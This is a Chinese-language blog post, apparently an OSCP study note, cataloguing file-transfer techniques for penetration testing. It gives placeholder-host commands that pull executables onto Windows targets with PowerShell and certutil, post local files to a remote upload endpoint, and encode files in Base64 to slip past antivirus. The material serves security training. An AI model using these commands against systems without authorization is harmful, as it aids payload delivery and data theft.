当前位置: 首页 > article >正文

OSCP:常见文件传输方法

在渗透测试过程中,文件传输是一个关键环节,涉及不同的协议和工具,本文整理了 Linux 和 Windows 系统下常见的文件传输方法,并提供相应的命令示例。

通用文件传输方式

Base64 编码传输

Base64 可用于跨平台传输文件,避免因字符集或杀软拦截问题导致传输失败。

  • 编码:
    • Linux:base64 -w0 < file > file.b64
    • Windows:certutil -encode file.dll file.b64
  • 解码:
    • Linux:base64 -d file.b64 > file
    • Windows:certutil -decode file.b64 file.dll

HTTP 服务器(Python)

Python 内置 HTTP 服务器可用于快速文件传输:

  • Python3:python3 -m http.server 80
  • Python2:python -m SimpleHTTPServer 80
  • 下载文件:wget http://IP/file -O /tmp/file

Linux 文件传输

Netcat(nc)

Netcat 可用于文件传输,但需确保目标主机也安装了 nc

  • 发送文件:nc -nv $IP $PORT < file
  • 接收文件:nc -nlvp $PORT > file

SSH

  • 上传文件:scp file user@IP:/tmp/
  • 下载文件:scp user@IP:/tmp/file ./

FTP

  • 文件传输模式
    • 二进制模式(适用于可执行文件):ftp > binary
    • 文本模式(适用于可读内容):ftp > ascii

了解二者区别可阅读这篇文章:FTP binary and ASCII transfer types and the case of corrupt files

  • 快速搭建 FTP 服务器
    • apt-get install python-pyftpdlib
    • python -m pyftpdlib -p 21 -w

TFTP

TFTP 适用于传输小文件,但需要手动启动服务:

  • 启动 TFTP 服务器:service atftpd start
  • 客户端下载文件:tftp -i $IP GET file
  • 客户端上传文件:tftp -i $IP PUT file
  • Windows 启用 TFTP:pkgmgr /iu:"TFTP"

SMB(Windows 文件共享)

SMB 适用于 Windows 和 Linux 之间的文件共享。

  • 在 Linux 启动 SMB 服务器:impacket-smbserver -smb2support share ./
  • Windows 访问 SMB 共享:
    • 复制文件:copy \IP\sharefile C:\Temp
    • 挂载共享:net use Z: \\IP\share

Windows 文件传输

PowerShell

  • 下载文件:powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/file', 'C:\file.exe')"
  • 上传文件:powershell -c "Invoke-RestMethod -Uri http://IP/upload.php -Method Post -Infile 'C:\file.exe'"

Certutil

Windows 内置 certutil 可用于文件下载:

  • certutil -urlcache -f http://IP/file C:\file.exe

其他方法

通过 UPX 压缩可执行文件(减少文件大小)

  • upx -9 file.exe

总结

文件传输在渗透测试过程中至关重要,常见方式包括:

  1. HTTP 服务器(Python 轻量级文件传输)
  2. SMB 共享(适用于 Windows 传输大文件)
  3. FTP/TFTP(适用于特定环境)
  4. Base64 编码(规避部分安全检测)
  5. PowerShell & Certutil(Windows 内置工具传输文件)

选择合适的传输方式,能有效提升渗透测试效率!


http://www.kler.cn/a/527595.html

相关文章:

  • AI-System 学习
  • C#面试常考随笔7:什么是匿名⽅法?还有Lambda表达式?
  • Ruby Dir 类和方法详解
  • 计算机组成原理——数据运算与运算器(二)
  • 洛谷 P10288 [GESP样题 八级] 区间 C++ 完整题解(STL二分法)
  • Redis 基础命令
  • OSCP 渗透测试:网络抓包工具的使用指南
  • Java多线程——对象的共享
  • DeepSeek本地部署(windows)
  • 软件测试(认识测试)
  • 无人机图传模块 wfb-ng openipc-fpv,4G
  • 【易理解】04_什么是try-catch-throw语句?
  • socket编程短平快
  • 计算机网络一点事(24)
  • 漏洞扫描工具之xray
  • 【视频+图文讲解】HTML基础2-html骨架与基本语法
  • OpenCV:Harris、Shi-Tomasi角点检测
  • 【小白学AI系列】NLP 核心知识点(六)Softmax函数介绍
  • 如何优化轮式移动机器人的运动稳定性?
  • 仿真设计|基于51单片机的低频信号控制系统仿真
  • PostgreSQL图插件AGE
  • DeepSeek-R1 论文解读 —— 强化学习大语言模型新时代来临?
  • Java 泛型<? extends Object>
  • 小程序-基础加强
  • 最新Java开发进阶!Java进阶面试资料无偿分享_java面试最新资料
  • SpringBoot入门:快速构建第一个Web应用